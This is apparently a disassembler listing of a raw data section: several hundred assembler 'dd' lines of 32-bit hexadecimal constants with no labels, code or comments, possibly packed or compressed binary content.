		dd 68B080C1h, 7CBC519h,	0B8346749h, 28D4B36Fh, 5A21C16Bh
		dd 32548CF1h, 685907DCh, 0C7C3B413h, 0A803D30Ah, 44ED403Fh
		dd 0C544FF22h, 0AC48822Fh, 893F8C6Eh, 29A19FCFh, 54701F00h
		dd 0CF7AF998h, 928FC369h, 2CB28641h, 0D96B702Fh, 144D09Ah
		dd 0E2E102A0h, 9E9340D6h, 4072A084h, 707F3D83h,	9A3AE4ECh
		dd 0ED824438h, 0B7FBE73h, 29ECBB00h, 4BFECBD1h,	10400A4Ah
		dd 7542EDAh, 906299DEh,	38FEF781h, 70BE301Ch, 0FF4E4302h
		dd 84409D1h, 52595600h,	0AAC5A3A0h, 0A8850005h,	0B5985E15h
		dd 0AC0AEAE8h, 0D480BF03h, 3900D7ACh, 7F206002h, 2CB507B9h
		dd 6417300Ah, 46A49081h, 31C678EEh, 269D05Bh, 0EA50F966h
		dd 30EA32B8h, 0CDC834A1h, 2580516Dh, 0E6F048F6h, 18503E69h
		dd 1FE280A0h, 6D942F1h,	0F14C5B75h, 5A012D7Dh, 0DFC45525h
		dd 8275FB5h, 8C242049h,	60AC26B0h, 0B54DB8DEh, 4F677500h
		dd 3BFD0EDBh, 0ED8A023Ch, 0E884BBD9h, 0EEC2C502h, 0F8E0B2F8h
		dd 5C0F5171h, 30596B46h, 0D499462Fh, 6E00FEFDh,	0A4230480h
		dd 359930EFh, 37580E79h, 1A69C02Ch, 0EA00D61Fh,	0B735A7CAh
		dd 22488884h, 0C4176DBAh, 0C112FF39h, 22C508D2h, 340AD92h
		dd 1100538Eh, 66FDF797h, 245763DDh, 41DC439Ah, 846BCAC5h
		dd 6E8D5AB1h, 20E24C89h, 0B129B4AEh, 3631D800h,	7D878B37h
		dd 0D15E1401h, 0F43AEC41h, 49C0AB44h, 0A47658F1h, 8C9624A7h
		dd 0C50C4900h, 4A327529h, 5AA761F9h, 84DF7B78h,	0C69C644h
		dd 1F5A23ECh, 34004456h, 9848DD1Eh, 92D1A11h, 0B46DFEC9h
		dd 970F286Ch, 0C07B967Fh, 201B8D90h, 0B1F200FFh, 9A530134h
		dd 23488456h, 3F85D9Dh,	2B6BFCDAh, 7CE3F06Fh, 156A2879h
		dd 4460488Ch, 0FE34CA80h, 0EF4D554Ch, 0D6C31108h, 0A8995E20h
		dd 37265280h, 0A446B217h, 48BF308Ch, 0A36950A1h, 4932DB31h
		dd 89A178F9h, 989EBCh, 8F4EADDFh, 0AE0BDB76h, 8275980h
		dd 0AF18E0AEh, 79105468h, 0DC44542Ah, 70C34CC5h, 81DD2582h
		dd 5E442C84h, 51003596h, 77439F34h, 0D464FAD5h,	0A8C0E8A0h
		dd 295B1F73h, 4B5F1300h, 0C05C8EBEh, 75E1C096h,	51D40795h
		dd 0C29E31C0h, 0A0326EA7h, 1AFE7B7h, 9031CFDBh,	2998EEC9h
		dd 17B06098h, 4037F14Dh, 0E098B2DAh, 7341E61Dh,	0A2133842h
		dd 7AE4E660h, 0EB9100CDh, 0C5E90DAAh, 32256DFCh, 3C1C00FFh
		dd 0B1D41A54h, 0D72207F8h, 0E791D071h, 0B40118B9h, 62E4CF13h
		dd 4422F16Fh, 584BF011h, 874C0DCh, 605A3E2Dh, 2299C8E8h
		dd 0A8127E31h, 0AB0570C4h, 788D1337h, 0A810FF61h, 1D97B0Ah
		dd 0F9F64D69h, 7475FCF0h, 10E579B4h, 138EC03Ch,	0CCD12476h
		dd 3926822Ch, 74031816h
		dd 47E034Ah, 0C83D7618h, 873C88C3h, 1039BC01h, 71AF2758h
		dd 0B788BC38h, 0BC623D80h, 0FB2C4B5h, 1A792C99h, 823A87E0h
		dd 5F2E3E77h, 5C6AF8EDh, 9AF3C58h, 0EE55BAC7h, 0B902F0E4h
		dd 90B1E314h, 24A4C522h, 9BF26068h, 0F70701D7h,	3731DD94h
		dd 0BD8A0C41h, 3C1D0C73h, 8D0E61Fh, 608C5D4Dh, 51692Ch
		dd 44EB32E5h, 111A9C17h, 3E0256B0h, 468AC983h, 1154E6E2h
		dd 6D613Fh, 7BC67083h, 0B92A7590h, 8F710EB4h, 4F0344A0h
		dd 0DC0058D4h, 8573BA2Dh, 1BEB651h, 110B0EBBh, 135ED8A8h
		dd 50E0BF33h, 9AA24CA9h, 0CCF24480h, 0B44DF000h, 73A386E5h
		dd 1C6CA4BBh, 152A1A53h, 0B226A8DCh, 0F2A36468h, 9ECD80CCh
		dd 3C797Ah, 0A570884Eh,	0CAD676C8h, 0C4514604h,	2C41913Fh
		dd 222AB3F2h, 9C3FDCh, 0C0BD308Fh, 0B200959h, 0C6C580E5h
		dd 144F7891h, 3C824CF2h, 0EC905159h, 241A0E86h,	0E431FB6Dh
		dd 921200C0h, 0C52FE105h, 0E70080E6h, 8B2E2137h, 16F0527Dh
		dd 4E96BCD4h, 3C11C31Ch, 850C48FBh, 5CC85FB2h, 1F6107D7h
		dd 0B0E420B9h, 2F80389Eh, 0C586498h, 40374E58h,	0BDF5C500h
		dd 8E7201A5h, 11133142h, 0CD473B1h, 39A635FAh, 8572075h
		dd 2F1D04B1h, 9A0911B0h, 0AEB2264Ah, 0D9BC000Fh, 2F2940FDh
		dd 83263379h, 8C21CA68h, 0E1C2A14h, 608ED490h, 0CA12207Eh
		dd 4D2F0FF5h, 0BB606766h, 648B13DBh, 31C7C530h,	1C5F7A47h
		dd 2D26D960h, 97B2E820h, 0E164754Fh, 0A0A4D211h, 500858A8h
		dd 0C7C4009Fh, 5BF8C9D1h, 0C5A97002h, 0CE5D7180h, 54CC0E14h
		dd 530E7C2Ah, 7987C5C1h, 80B8684Eh, 76B509D7h, 0A9C2030Dh
		dd 0E0CE6ADEh, 9A5BFCB8h, 0D056F604h, 74B4EB46h, 4D453575h
		dd 43500899h, 0A55BFF80h, 9ED05842h, 5374064h, 7D1FF675h
		dd 8A47E889h, 320041AAh, 0C6965BFBh, 315F6061h,	22E8731Fh
		dd 0F50F171Ch, 6AE64291h, 0B0D8B948h, 0C38C1F1h, 798DB701h
		dd 45C522D7h, 11601C4Ch, 45B200CAh, 71B094BDh, 0B240004h
		dd 0C6C730BCh, 47002866h, 0A52B2C0h, 793201Ah, 31D5123h
		dd 0D4B03676h, 26F4EB00h, 87A7D07Fh, 75D40082h,	59362AF1h
		dd 5A0AFF67h, 9452853Bh, 568B7B90h, 8E0950B2h, 43761804h
		dd 81678A8Bh, 5DE8E112h, 7FA207ABh, 20A39623h, 65D6B887h
		dd 70346B2Ch, 4A247301h, 0C8E4C0CCh, 4CA0B04Dh,	2D8F5857h
		dd 0A7E01F40h, 0C52D4851h, 5A6C20CDh, 9B13AF2h,	57D1DC5Bh
		dd 1E51742Fh, 810073B3h, 0E0BD25E5h, 4520BEBh, 0E0094ACEh
		dd 0BE362000h, 35022D48h, 51DC91FDh, 14DC6644h,	88737D0Ch
		dd 0C6B92600h, 7FA328F6h, 0AD3A8579h, 4CE4C8C5h, 825FA018h
		dd 4094B65Ah, 0AA0754Eh, 0E99C5D1Eh, 79F1B900h,	3B983Dh
		dd 7D42360h, 47A8C12Ah,	18044BBh, 533A1DCBh, 6DAC0242h
		dd 4A29D82Ch, 0BF200846h, 91FA4C73h, 0FC346A00h, 263A037Eh
		dd 214FD900h, 798044E2h, 7093A1BDh, 0FC80602Ch,	40032516h
		dd 0DFA42C00h, 0F96F5271h, 0B7981FE9h, 0C47805C2h, 8C985401h
		dd 0A7114122h, 0B11C80D8h, 5D2B40DEh, 387ADA26h, 93E41903h
		dd 0E0165761h, 2647F77Ch, 11B0F167h, 0AB7E006Dh, 2FAAE230h
		dd 1008586Ch, 0AE09CF21h, 5B686429h, 4B8820B7h,	1200636Eh
		dd 0C189DAD3h, 1401AC56h, 0DC9AFE78h, 91FC62C0h, 7100C30Ch
		dd 0FB157DB3h, 3ABEAFFDh, 6F00246Ch, 5156D38Eh,	9B068B89h
		dd 0D5D2678Ch, 174844D8h, 870F1C02h, 72CAC549h,	7C41FDD4h
		dd 3ACC188Ch, 702D0009h, 28EB42CEh, 0BA096CD6h,	0C0443FA7h
		dd 0FD507540h, 609498AEh, 235E03C8h, 0B1C94809h, 0A8A0EB5Fh
		dd 0B7F235h, 9279A4E2h,	4DE0B339h, 3C28F005h, 68806DC8h
		dd 9240C76h, 5D6E46A9h,	0F70024E6h, 0A1187ABDh,	5EC194h
		dd 0FD140B35h, 0D3337B52h, 0D5A90709h, 25B410C9h, 8074B9FCh
		dd 7C246682h, 651728A4h, 9B03886Eh, 0A0C89009h,	0ECCB6484h
		dd 65E0091h, 0EC19E637h, 72F6FE1Ch, 330317EEh, 62D86F85h
		dd 5DE9903Fh, 919C0006h, 3B70487Bh, 0EA00555Ah,	0D80C0A58h
		dd 3A2D8EFBh, 2001A31h,	59BE8F96h, 38001930h, 0C648F668h
		dd 7B877C0Eh, 5E48C3E4h, 80C69A66h, 0DF03AF0h, 545FD400h
		dd 0AD2F7907h, 0D26000CDh, 1BDC67C4h, 0BE302C13h, 905C308Fh
		dd 393D00C7h, 8634034Eh, 48C36E91h, 182AD984h, 0E1F6CB61h
		dd 0ED00C9BDh, 5750A02h, 0D0614Fh, 0AE575F2Dh, 0E4DC9D14h
		dd 83FE5E18h, 707C31h, 1DCF93BEh, 18636CF0h, 360FC9F8h
		dd 0B8DFD076h, 5B7729h,	8E3E29F2h, 0E83914E9h, 57BA761Ch
		dd 0BC1EA943h, 35C371h,	0A82B9391h, 0C6C80698h,	806FAA00h
		dd 3FC1B6C4h, 530E092h,	0E3F8A002h, 31D00261h, 9C038503h
		dd 910900EEh, 48A56A92h, 3781A69h, 373B0B00h, 0C03A70C9h
		dd 60D0308h, 138015B5h,	0F9C73001h, 3111406Bh, 0E45081C1h
		dd 3C02E219h, 0FA3A9592h, 8B5D1E1h, 0D369801Fh,	7785C3F9h
		dd 0C1DD31h, 2E8D8AC5h,	69005B1Ch, 41E466CFh, 0EE0528h
		dd 94E5068Eh, 883932BEh, 0CE11B1C0h, 7CC33301h,	410319FFh
		dd 105AD15Fh, 583A526Dh, 120294B6h, 1375E5A5h, 1004627Fh
		dd 7771E4C8h, 0EE4018BDh, 0E3B03908h, 894CC005h, 27C067A4h
		dd 6E12B473h, 1E202110h, 82D8E963h, 9B024CA0h, 1D5A088h
		dd 99567D66h, 3078520Eh, 0CC18DC28h, 82F1056Eh,	0CDA33C9Bh
		dd 9EEE50Ch, 2001959h, 0E0D0DACCh, 482A9B26h, 65229062h
		dd 3937C300h, 0F9BF0530h, 0C8880371h, 5CA58160h, 2840F8DAh
		dd 5B60E956h, 356B7831h, 23FECDh, 9EB197CFh, 0FD9BA64h
		dd 0E3219890h, 0CB620005h, 838DC95Ch, 7F0BE62h,	0DEC6211Fh
		dd 4A985080h, 76126816h, 2404850Bh, 90548D38h, 18DD7922h
		dd 7AE10821h, 20963942h, 0FBD5DA1Dh, 7C721705h,	0DC2109B5h
		dd 319D7E77h, 1AA3C0C5h, 0DA284AECh, 84B4C005h,	281C6BDCh
		dd 710F9B51h, 0EA8104BEh, 83F985E2h, 0E4848059h, 0CB31187Dh
		dd 0BB669987h, 3EDD510Eh, 0EC203276h, 0FB1F6FEh, 77BDE892h
		dd 8B96431Eh, 0CE80DA4Ch, 9B01297Ch, 0B466D67Eh, 0B182611Ah
		dd 84E6C95Dh, 0D740A89Ah, 0F8D0DF76h, 0B50D06D4h, 0F3163A0h
		dd 0E8C28C44h, 194373CFh, 39021377h, 0CDF30270h, 0CA7460AEh
		dd 0AB310C0Fh, 0D310018Bh, 5EA078C4h, 61F1D940h, 40248163h
		dd 10B8EC65h, 0EA06103Bh, 80F7C1DAh, 117AC503h,	3F621ED1h
		dd 8481E610h, 19827694h, 118120D5h, 7FF75D0Ch, 499B6090h
		dd 0E600A820h, 0F3810344h, 38013F1Eh, 0B866DA25h, 0C44868FEh
		dd 410E00DDh, 244E15A1h, 5B60CB7Dh, 887E7C49h, 0E94A18DBh
		dd 9599B960h, 38FF8F01h, 0D4496BE3h, 0E07C3D4h,	0F0566950h
		dd 744B7540h, 0CB241EBEh, 0F3004C71h, 63C73911h, 0B9D324DBh
		dd 0FE4306DCh, 411208ECh, 0B4180CD7h, 5CDFCE1h,	9B7C5D27h
		dd 3898408Eh, 53E5E0A0h, 7D408B00h, 0DB8D9D2h, 7C5C3890h
		dd 690387D8h, 14BE8241h, 885EF9B0h, 0B5C94262h,	12C44413h
		dd 4081FD5Dh, 0AEAF724h, 0C28BBDBh, 862610A8h, 0E4C4F880h
		dd 2ECC8h, 7D440D95h, 8C258A71h, 0AF07780Bh, 9E358040h
		dd 490768Dh, 68198739h,	0CD30C031h, 440CA10Bh, 49AFFA5Eh
		dd 730F31B5h, 0D2437771h, 79C4AA00h, 8D9700FFh,	21EB7FCEh
		dd 0D90F8FE1h, 2010790h, 0C069C22Dh, 3BF196Ch, 11512532h
		dd 594882B1h, 84D1106Ch, 867CA12h, 3CBC1F74h, 5A161439h
		dd 55B13E74h, 0BE21D248h
		dd 19BC9410h, 0DDDE8302h, 0C843C318h, 0B1D27188h, 4CE22002h
		dd 90EE862Ah, 147DDACh,	8F02F3Dh, 416C12B5h, 108A9334h
		dd 805F389Bh, 233C79F4h, 0CAA30053h, 1BCB7C17h,	874F007Eh
		dd 15597486h, 916029EAh, 0C61219C1h, 14C8B8EBh,	3C07B510h
		dd 0FE18C84Ch, 1362627Ah, 871164BBh, 0C605EF00h, 900EDCFCh
		dd 50B84449h, 0D10C54C8h, 0F1950635h, 278B006Fh, 7BBE764Fh
		dd 4613AB7Ch, 7C213832h, 8882F0EAh, 335C971h, 4160C89h
		dd 99AD1120h, 4F9D8094h, 40D830CCh, 1F7FE51Ch, 0CF97AC40h
		dd 63968485h, 9ACB2932h, 41AFB900h, 0FCD200Eh, 9B8C00BEh
		dd 47D521E6h, 0FC122376h, 94002491h, 0CFD27056h, 0A8EF3FA5h
		dd 6686380h, 0BF458B8Fh, 65F6930Eh, 6D4D20DEh, 7B610179h
		dd 0B8C40B97h, 68056487h, 53700086h, 0B0EE3BF2h, 9E001CFCh
		dd 0DB7858B4h, 38BD90FAh, 7600DCEFh, 0E87C6E67h, 55902E94h
		dd 0AF344098h, 8C2B9BAh, 2EC2A10h, 2C978753h, 40907084h
		dd 0AB82A44Fh, 0F00200E9h, 54A3377Dh, 0FCF14CC1h, 91281B3Eh
		dd 0F099ACDEh, 0C5EA7D80h, 3C5E63h, 5DBE15C0h, 0D8CE1E83h
		dd 54703024h, 0EADE6E81h, 12C81C90h, 19F3004Ah,	0C5706308h
		dd 3F002A5Ch, 1E4688Ah,	4EF5B38h, 3059BD83h, 0CDAC8023h
		dd 6758CB50h, 1F1722E0h, 0DCE47AB3h, 7285C126h,	291C13F5h
		dd 0BAEEC158h, 57F4DE3Dh, 636F1471h, 0C903BFC8h, 9A3532E7h
		dd 9BE32907h, 0C1DC16D9h, 38882984h, 0BC1190h, 0F7E7B960h
		dd 2FE6E64h, 515D7119h,	2CCCE45Ah, 4CEC0524h, 39BBB13Dh
		dd 0AFED20B4h, 0C00F60D2h, 9448488Ch, 2ED8F31Eh, 98470038h
		dd 0E1875673h, 0E790C60h, 6168ED31h, 820F1127h,	85F56052h
		dd 8A97F800h, 0B069AB24h, 0A34902A2h, 98C257E3h, 9722E050h
		dd 207B4C08h, 3BD38A1h,	904E0FE8h, 3C9484BAh, 89948209h
		dd 61D442h, 0C36920F0h,	0C5634E0Bh, 13C881D2h, 7040E02Fh
		dd 77367AEh, 4DCB3D16h,	0CC7620A3h, 9D6A4FB8h, 0C1606868h
		dd 1F8F705h, 0A6CA79B3h, 30C05D87h, 80720B12h, 0EABBC00h
		dd 31596AA1h, 0ECDC5D07h, 9041D24h, 58A23E3Bh, 44872E9h
		dd 7D1D7190h, 0F6578421h, 0FD136C00h, 7001BB60h, 0BAB60304h
		dd 8C43D097h, 681F2088h, 5DB99B17h, 2236B422h, 0B720B2CBh
		dd 0FAB80F6Ah, 0BCD40080h, 6FDE56F8h, 0FF0AB4DAh, 0E04EF77Bh
		dd 0BF12B92Ch, 5EF45402h, 2EFC66B2h, 3ABCDF71h,	40E4752Eh
		dd 94816CAEh, 0A0F20E05h, 856D24h, 7008CC65h, 0DD14805Ah
		dd 8601B095h, 123D445Ch, 97095D80h, 0B5B848B2h,	402C940Ch
		dd 66EE9EB1h, 92C11CFh,	3C7D5E41h, 7F220882h, 9052E97Ch
		dd 8A16BC07h, 0BA61E7FEh, 66CCF46Ah, 67C00513h,	776706Dh
		dd 0D012D55Ch, 56718340h, 0A441A200h, 0F66AF061h, 2D49078h
		dd 739EF72Ah, 0F4A7899Ah, 9CD50C9h, 0AD15A702h,	0DCE9C4h
		dd 90939891h, 5C27EF4Eh, 0FD2C4886h, 8B944348h,	0FB324150h
		dd 0A762C900h, 6159290Dh, 71A80785h, 77D13B98h,	4405996Dh
		dd 0C6AC9CC7h, 6A318209h, 0A2A00015h, 0A66D7B6Eh, 0ECEA4AACh
		dd 55BF0003h, 0C27C8C54h, 207F4E03h, 0E0C5F900h, 0BD522900h
		dd 48CA57DFh, 3C4401E9h, 1BE5D3B9h, 2571E1DAh, 0CA4861B0h
		dd 0FB47E120h, 337804EDh, 801CE09Bh, 93632330h,	12361E38h
		dd 0E4945F21h, 0DC8080B2h, 0D82D5968h, 0C60034ECh, 7E2EB092h
		dd 0BE3D0Ch, 0D9086150h, 0B4EAE87Bh, 0BE50709h,	0D3E4C0B1h
		dd 0B49A4863h, 826B2480h, 0DF000BA3h, 0B3C5B834h, 4CF85847h
		dd 4003902h, 84BE8709h,	5C9299E2h, 3511BA80h, 18EDC23Eh
		dd 0DEA134DAh, 18108889h, 0E473A707h, 450007F0h, 53A4067h
		dd 887874C8h, 63E1C799h, 21BA6E62h, 0B4007C51h,	0A149791Bh
		dd 90507B5h, 6E2D0F65h,	0BC916FABh, 0FBF9102Fh,	28DE7AB8h
		dd 29683C2h, 86C7309Fh,	46121E3h, 1E91BF3Eh, 7C939776h
		dd 10E0FE0Bh, 12A96ED4h, 61D3B7h, 219F93D8h, 61C08068h
		dd 9476FC31h, 0D0AB01FEh, 0DB9AAD0Bh, 20783505h, 0BA039714h
		dd 302696Ch, 0D7429845h, 4D7090A9h, 710548FCh, 0CC4E82B3h
		dd 95006EB8h, 270D6CDCh, 0B34B0963h, 0A25401E4h, 7044D7BFh
		dd 4AEE4836h, 7E1D5300h, 0CB98D16Eh, 0A832E5BDh, 376AAF00h
		dd 9C2551F7h, 0EA938505h, 0FA1878AEh, 0DAD9151h, 0D5B19B73h
		dd 30344290h, 8D077087h, 80882C29h, 9A36C1D1h, 182C0038h
		dd 0F7D50AB1h, 6A00BDD0h, 78AC776Dh, 24A575CDh,	8CC4473h
		dd 874496B1h, 0C401AE4Eh, 3B1BF3D8h, 90A6D9A0h,	58D200F3h
		dd 91D02561h, 76719219h, 3F0E5CB1h, 0C598A063h,	0A1EF89h
		dd 0ADC0707Bh, 114B1864h, 78B4320Fh, 0A0EB010Fh, 0B03582A3h
		dd 8A91D030h, 9AF24460h, 0EA9E4C9Eh, 0C520E500h, 198B31h
		dd 3043AA13h, 0EBD81A71h, 13A87E4Ch, 0A0838DF9h, 0D8394320h
		dd 5110C907h, 574E90F4h, 6C9CE587h, 0E30284A8h,	0E27AD169h
		dd 13E86045h, 3E36273Ah, 37E8B813h, 44B1EEEBh, 9A3D2D00h
		dd 200D7Fh, 50641F22h, 0C0F0F675h, 0AF56901h, 767C0B56h
		dd 0D9733440h, 2F276B0h, 0A084F3Eh, 0A8607FAAh,	5B0F2E2Bh
		dd 9FE7025Ch, 76816384h, 79E4E4h, 7D86C962h, 7B1DF36h
		dd 0C6DADD08h, 1C7B9E06h, 1304531Bh, 7510600Ch,	7658BE88h
		dd 5C980158h, 73632124h, 946CA430h, 698E4104h, 0A0CD60B5h
		dd 358F8600h, 0ADDE1ACDh, 0C71E0B99h, 2064E331h, 42FF8C0Eh
		dd 76B0E208h, 0E6D8E0BDh, 0E8FE3C45h, 0BB668809h, 3018348Bh
		dd 0FAE850B1h, 7C711C60h, 7159019h, 586DB747h, 362D1063h
		dd 7C9ED307h, 943CDC8Bh, 14AE01C8h, 6EE2D5BFh, 5A53C08Dh
		dd 3172C3B0h, 8CE820B8h, 0C0EC5E48h, 6825FC98h,	5974263Ah
		dd 92188078h, 3875CB4Eh, 0CE2788h, 208453E4h, 0F9D8D52Eh
		dd 55118000h, 0DBAB4BFFh, 0BED00749h, 4C85C386h, 0A34B4EF0h
		dd 0BD197020h, 3C593061h, 976EE428h, 9B301C98h,	42D59192h
		dd 0DF2A0047h, 274EE444h, 0FF2805B1h, 84719C3Bh, 598DD52h
		dd 77F01C7Bh, 633B2081h, 31882F08h, 948F5234h, 0A13DD11h
		dd 0B4EEE786h, 7958308h, 20C911E4h, 79CB15B5h, 0B491C09Ch
		dd 54F0204Bh, 4001CCDAh, 227269F5h, 5090D386h, 88FE11FBh
		dd 31AD7103h, 0FDA01F25h, 0DD1476F3h, 19F8990Eh, 6A1B860h
		dd 24EC022h, 0DB84DA40h, 3140548Ah, 88985D98h, 8ABFA838h
		dd 86C8A02h, 0CB963290h, 6447B820h, 5A8F00A1h, 0B7BA821Eh
		dd 0DA0EDF1Ch, 0B3C571F0h, 3424A820h, 97A504ADh, 82786EC3h
		dd 0B041D24Ch, 0BB9440F0h, 5585315h, 808788E8h,	2046C5D7h
		dd 0D11216F5h, 0E9001C75h, 0CFE8036Ch, 4FCCA082h, 677FE031h
		dd 9085E110h, 93B0B3F1h, 13BE973Ah, 8808ACE1h, 0ED46846Bh
		dd 0A6BC06h, 305C52A8h,	3C3BBF37h, 27922BBAh, 0C44CD09Bh
		dd 0A416BC41h, 640FBE66h, 8FFE8619h, 287C98A1h,	174CB1Dh
		dd 0E4C4ED16h, 0D4882F25h, 38C07434h, 0FA5DD9E7h, 48965EDEh
		dd 14BE1620h, 528B8FEh,	87C1DD71h, 81B0C404h, 0E9636602h
		dd 9F00D4C4h, 0C437F4E8h, 0F3130Eh, 0EFBCF58Eh,	33FFE6DEh
		dd 0F7646090h, 72407CF0h, 501AB7EAh, 0C106309h,	4440074Fh
		dd 83858B58h, 86806CC5h, 0FA5C69A4h, 410A052h, 0B15D886Ch
		dd 0E50649Eh, 0AA640053h, 26B6B22Fh, 0F57B51A0h, 402DB800h
		dd 82D3E51Fh, 0DD87357Ch, 25340349h, 2E0F0FFh, 2A2C4F52h
		dd 0EE1F3886h, 5914455Fh
		dd 0B25E12D0h, 19F942Ch, 0D3A6FD1Eh, 30C7EF60h,	0E858DA93h
		dd 4B3422C8h, 0A1C040CBh, 12596BBBh, 7AF67401h,	0D57BB1B9h
		dd 258B98FBh, 582709E9h, 88026613h, 0FC029A87h,	0B4610F82h
		dd 346835DCh, 1C090ED8h, 10DFCFECh, 9DE388h, 736D7523h
		dd 340CAD86h, 0E78C4509h, 0C0404016h, 209F885Eh, 999A6688h
		dd 9EBD0094h, 0C495B10Ch, 209B3325h, 789D1FC8h,	83B0D2h
		dd 79A0739Fh, 0F6966CB7h, 0BA56B00h, 7063682Dh,	0CBFE0F43h
		dd 5602FCD8h, 471CE1Ch,	866E8138h, 64EEEC9Ah, 0E038C052h
		dd 5945E61h, 88194E68h,	97A004BCh, 1C40547Dh, 2341DE71h
		dd 62723403h, 93221C2Ch, 76355488h, 1B30B100h, 2AB389F0h
		dd 3B810032h, 0B2668FAh, 362F8F4Bh, 0DAB41139h,	5C843B0Ch
		dd 8303E008h, 0B96DE384h, 641D2126h, 16EB41C0h,	0FCF012Eh
		dd 3073B038h, 80492AE3h, 0E7384877h, 0B37001C2h, 0DDD1F1D2h
		dd 59742028h, 2520608Ah, 9311114Ch, 80631682h, 1938D809h
		dd 28417548h, 0F1FD60E1h, 914B860h, 4B4686Bh, 52900C44h
		dd 54BE7907h, 88C461A8h, 649B10C8h, 0C00E2993h,	0F77C567Dh
		dd 0EECB3800h, 1BB45BEAh, 480764C1h, 108CE477h,	2B00207Fh
		dd 0D58E3247h, 2F127Ah,	0BCA11805h, 26FBCDD9h, 891110BCh
		dd 0B4CAFA00h, 61957856h, 9081ED2Fh, 3E15B0Ch, 0FB8960E6h
		dd 8DF0E708h, 16025268h, 9563D978h, 851CE0A5h, 1CA248FDh
		dd 6EC08848h, 0C7161CDFh, 0E04FC933h, 8004D5D4h, 160CE5h
		dd 768B9748h, 789CBC3Eh, 0CC9D6440h, 7BAC0FAAh,	0E7C58D94h
		dd 0AE88209Ah, 53009D44h, 0CBC1366Dh, 4C705A95h, 4B106440h
		dd 0B4822E83h, 8500891h, 4310F990h, 0CA2FBE42h,	0A4202076h
		dd 0EE152D4h, 268A355Dh, 96F1960h, 8603819Bh, 0EEEF7305h
		dd 18A15378h, 3C8C1C00h, 0B2CC341Ah, 99B05313h,	88EC7020h
		dd 0EDBEA0Fh, 0B190CE6Dh, 0AB6CC765h, 0EFF6CB80h, 0A977646Bh
		dd 51664907h, 0CA9640h,	0FEF02138h, 4948E120h, 5C9030h
		dd 0D1EA108Ah, 0EE4650h, 1AD355B9h, 0E525C29Ah,	34361816h
		dd 9C752888h, 7419809Ch, 66AE4DB7h, 8D7C5800h, 6AABF742h
		dd 0FA5F023Dh, 96849439h, 6D02FCC4h, 22DA1962h,	0ECD17Ch
		dd 0E107342Ch, 0FF266073h, 4E02A8BAh, 0C1ED0876h, 4184F1D4h
		dd 83CEC1D3h, 5101C0D0h, 0ABA0EB07h, 7848B532h,	186D16F9h
		dd 43D40A5Fh, 62198FA4h, 0F4EEEB25h, 380081A4h,	0AB4F8A33h
		dd 1DA8E2Ah, 0C30C0FDEh, 0FBF5F93Dh, 5D954B80h,	84B8F74Ch
		dd 64C916B5h, 0E022AFF1h, 724C390Bh, 48647C8Bh,	0EBFE6804h
		dd 68C1CD94h, 2C6039E0h, 38FF7C97h, 0C61376C0h,	0ACE0C8EBh
		dd 0CAA1DE03h, 2033D539h, 48E77718h, 70E065B8h,	5F00C470h
		dd 0B7D4EAD1h, 7EA5923Ah, 144900E5h, 21886FAAh,	716B0DB5h
		dd 3806459h, 562E4D30h,	860064E9h, 0DA081021h, 1F135940h
		dd 0CE7C324Bh, 7EA03D4Eh, 1FC093AEh, 6B75430Bh,	12CAE79h
		dd 9053FA5Eh, 2B1CC467h, 940780ECh, 7AEF49C2h, 1C8C714Ch
		dd 0BC819B50h, 1C0D83A9h, 940FA470h, 95488Ch, 0E587BA33h
		dd 6107D01Fh, 38C5DF67h, 0C10C0E32h, 33170188h,	39487C9Bh
		dd 748526C8h, 1D0858h, 0C7AFE3C6h, 0B3740B66h, 0F009B8B6h
		dd 25D87039h, 4498B9F7h, 0D202232Bh, 4F635611h,	30584299h
		dd 0FA02612Ch, 1AA703DBh, 416BFE20h, 0EA84C399h, 663B28C4h
		dd 0E9880053h, 7C1E1B61h, 2EE12E4h, 35604E7Ah, 2810392Bh
		dd 9B127B86h, 70C804BAh, 0E57CCFh, 1C2CFB59h, 8894DA21h
		dd 6E61B507h, 89517E24h, 8472FC5Dh, 0E58B31C0h,	0FA09D8DBh
		dd 64AB80h, 79FD49D4h, 828E0076h, 373A337Eh, 9A5273BFh
		dd 0CD3CC0h, 25D5EB08h,	2C1276B2h, 3E454647h, 6E626C01h
		dd 0F4988D8Ch, 0BB48E6DDh, 5A1B22E8h, 0F81440CBh, 0BA1740CEh
		dd 0BD0702ECh, 6DA04930h, 978BFBC0h, 16850483h,	0C111F786h
		dd 0D4A1D3D8h, 0F0A2BA63h, 3442C866h, 0FED27600h, 865D964Bh
		dd 0C48028F1h, 3CE4FFFDh, 8C440053h, 739BD5C7h,	1025CCDCh
		dd 58CE06h, 20D77E69h, 3625A090h, 0EC31354Eh, 202F9AD3h
		dd 0D4A1D6E4h, 4B003EE8h, 73F64FB1h, 2ABAAD72h,	0F14335Bh
		dd 0CB6B106Fh, 0ADFFB880h, 5B00C4C7h, 9A9D5F8h,	830506EEh
		dd 0F0E082E2h, 1240B60Ch, 52834461h, 0C84A7CB0h, 0BBB69401h
		dd 6194531Ah, 69808C77h, 1D0F7501h, 0DE6F881Dh,	0EEC1EBC3h
		dd 5F598132h, 632430A4h, 85809E36h, 57273B6Bh, 0B6249070h
		dd 516516EDh, 75B8094Fh, 0B58928C8h, 8A8F3803h,	0CBF34C7Ch
		dd 61C1D839h, 95E97A62h, 1281CC91h, 0A8A4AFE4h,	8B718092h
		dd 52074CF2h, 0E4A63173h, 0B860A5E2h, 0F3EF24F1h, 0C8BF6097h
		dd 0FFE28839h, 502538FEh, 5C68614Dh, 20F72D11h,	6C00B53Bh
		dd 0B401897Dh, 0F6D1D35Eh, 7F48EBh, 68480227h, 94C9584h
		dd 110227Ch, 9763D593h,	2B6F62E0h, 1C303801h, 0D06C0C89h
		dd 89BB5888h, 0D29A2BDAh, 88E00ECh, 0E50B4DCFh,	0CDE41AC3h
		dd 25135000h, 0EC264E20h, 1D6C0490h, 0ACE28012h, 9B0E0A78h
		dd 4A4C88A7h, 6F920F21h, 401F6376h, 0DD706D73h,	0EEF11E16h
		dd 9541E074h, 0A4F414F4h, 0C654008Ah, 2CD630F6h, 0F0261945h
		dd 0D402606Ch, 5CE5636Bh, 2F2D4058h, 20044B5h, 3822BE49h
		dd 0FEF1A798h, 0F3B41FE4h, 494A410h, 0C36D2059h, 2A0BCF66h
		dd 0E671588Bh, 84E813D8h, 0F3D8C9DAh, 2D38A022h, 5180B1BEh
		dd 96A22129h, 16902A00h, 7EE5472Eh, 0FE2500DAh,	71767A94h
		dd 0BB2DF4A8h, 0F4940Dh, 0FDF346BFh, 5148C4A8h,	0F1827B00h
		dd 0D513551Eh, 44C10142h, 0DF78C6E2h, 0E04DD1E7h, 0AD1C356Ah
